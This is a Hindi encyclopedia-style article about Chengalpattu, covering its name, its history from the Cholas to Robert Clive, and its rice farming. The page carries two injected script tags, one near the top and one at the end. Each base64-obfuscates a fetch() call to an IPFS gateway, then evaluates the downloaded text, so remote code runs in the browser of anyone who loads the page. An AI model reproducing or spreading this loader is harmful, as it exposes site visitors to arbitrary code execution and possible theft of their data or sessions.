चेंगलपट्टु
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चेंगलपट्टु नगर दक्षिण-पूर्वी भारत में चेन्नई से लगभग 56 किलोमीटर दूर पलार नदी के तट पर स्थित है।
शाब्दिक अर्थ
चेंगलपट्टु नगर का शाब्दिक अर्थ लाल कमल वाले फूलों के शहर से होता है।
इतिहास
चेंगलपट्टु नगर का इतिहास दूसरी शताब्दी ई.पू. के आरंभिक चोल वंश से शुरू होता है। इस नगर के प्रमुख भवनों में विजयनगर के शासकों (1336-1565) द्वार बनवाया गया दुर्ग है। लगभग 1640 में इस शहर पर गोलकुंडा के मुस्लिम शासक द्वारा अधिकार करने के पश्चात् 1752 में अंग्रेज़ अधिकारी रॉबर्ट क्लाईव ने इस पर कब्ज़ा कर लिया।
कृषि
चेंगलपट्टु के आस-पास का इलाक़ा मुख्य रूप से चावल की खेती के रूप प्रसिद्ध रहा है। उपजाऊ कृषि योग्य भूमि के कारण यहाँ विजयनगर, मुस्लिम, मराठा एवं ब्रिटिश सेनाओं ने समय-समय पर आक्रमण किया। इसके क्षेत्र में कई ऐतिहासिक स्थल एवं स्मारक हैं, जिनमें निकटस्थ महाबलीपुरम में पल्लव शासकों द्वारा निर्मित मंदिर मुख्य है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>